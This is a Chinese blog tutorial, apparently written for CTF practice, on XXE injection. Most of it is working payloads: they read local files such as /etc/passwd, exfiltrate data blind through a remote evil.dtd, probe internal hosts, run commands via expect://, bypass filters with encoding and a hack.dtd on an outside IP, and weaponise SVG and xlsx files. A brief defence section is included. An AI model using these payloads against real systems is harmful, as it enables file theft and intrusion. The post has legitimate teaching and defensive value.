XXE漏洞
本文最后更新于68 天前,其中的信息可能已经过时,如有错误请发送邮件到2295927841@qq.com

XML外部实体注入漏洞.

攻击者强制XML解析器去访问攻击者指定的资源内容(可能是本地也可是远程系统上的文件),导致可以加载外部的恶意文件 ,文件读取,命令执行,内网端口扫描,攻击内网网站的危害. 即用户传入的xml被解析成实体文件执行

XML

XML 指可扩展标记语言(eXtensible Markup Language)

与html的不同:

  • XML被设计为传输和储存数据,焦点为数据的内容
  • html被设计为显示数据,焦点为数据的外观

XML文档结构包括:

  • XML声明
  • DTD文档类型定义(可选)
  • 文档元素

典型的XML文档:

<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>

<!--DTD,这部分可选的-->          
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>

<!--文档元素-->                                                                          
<foo>&xxe;</foo>

任意文件读取

一般可分为两种

有回显可直接在页面中看到payload的执行结果的现象.

无回显可以通过数据带外来判断有无注入.

有回显

恶意引入外部实体

直接读靶机文件:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY rabbit SYSTEM "file:///flag" >
]>
<user><username>&rabbit;</username><password>123</password></user>

恶意引入外部实体参数

<?xml version="1.0" ?>
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "http://vps-ip/hack.dtd">
  %file;
]>
<test>&hhh;</test>
<!ENTITY hhh SYSTEM 'file:///etc/passwd'>

无回显

先用协议读取目标文件的内容,然后将内容以http请求发送到接受数据的服务器

<!DOCTYPE updateProfile [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
  <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
  %dtd;
  %send;
]>
<!ENTITY % all
  "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;

再访问服务器中的日志信息即可拿到数据

内网探测

<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

RCE

在应用内部配置不当,且php expect模块被加载到了受攻击的系统或处理XML内部的应用程序上,可以通过xxe执行代码.

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
  <core id="test101">
    <author>John, Doe</author>
    <title>I love XML</title>
    <category>Computers</category>
    <price>9.99</price>
    <date>2018-10-01</date>
    <description>&xxe;</description>
  </core>
</catalog>

响应

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

Bypass

关键字过滤(ENTITY``SYSTEM``file)

使用编码方式绕过

cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

协议绕过

http被过滤,可以采用data:// , file:// php://filter等其他协议绕过即可

<?xml version="1.0" ?>
<!DOCTYPE test [
  <!ENTITY % a " <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> ">
  %a;
  %b;
]>
<test>&hhh;</test>
<?xml version="1.0" ?>
<!DOCTYPE test [
  <!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
  %a;
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>

利用场景

svg

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

excel

利用EXCEL进行XXE攻击

先用excel创建空白的xlsx,然后解压

mkdir XXE && cd XXE
unzip ../XXE.xlsx

[Content_Types].xml改成恶意xml,再压缩回去

zip -r ../poc.xlsx *

防护

使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

其他语言:

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

过滤用户提交的XML数据

关键词:,SYSTEM和PUBLIC。

思路点

黑盒发现:

  1. 获取得到Conent-Type或数据类型为xml时,尝试进行xml语言payload进行测试
  2. 不管获取的Conent-Type类型或数据传输类型,均可以尝试修改后提交xxe
  3. xxe不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成payload被执行

白盒发现:

  1. 可通过应用功能追踪代码定位审计
  2. 可通过脚本特定函数搜索定位审计
  3. 可通过伪协议玩法绕过相关修复等

文章参考:https://security.tencent.com/index.php/blog/msg/69

https://xz.aliyun.com/t/3741?time__1311=n4%2Bxnii%3DoCqQqiKitiDsD7feKl31KKDBDrD7whID

https://www.freebuf.com/vuls/194112.html

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇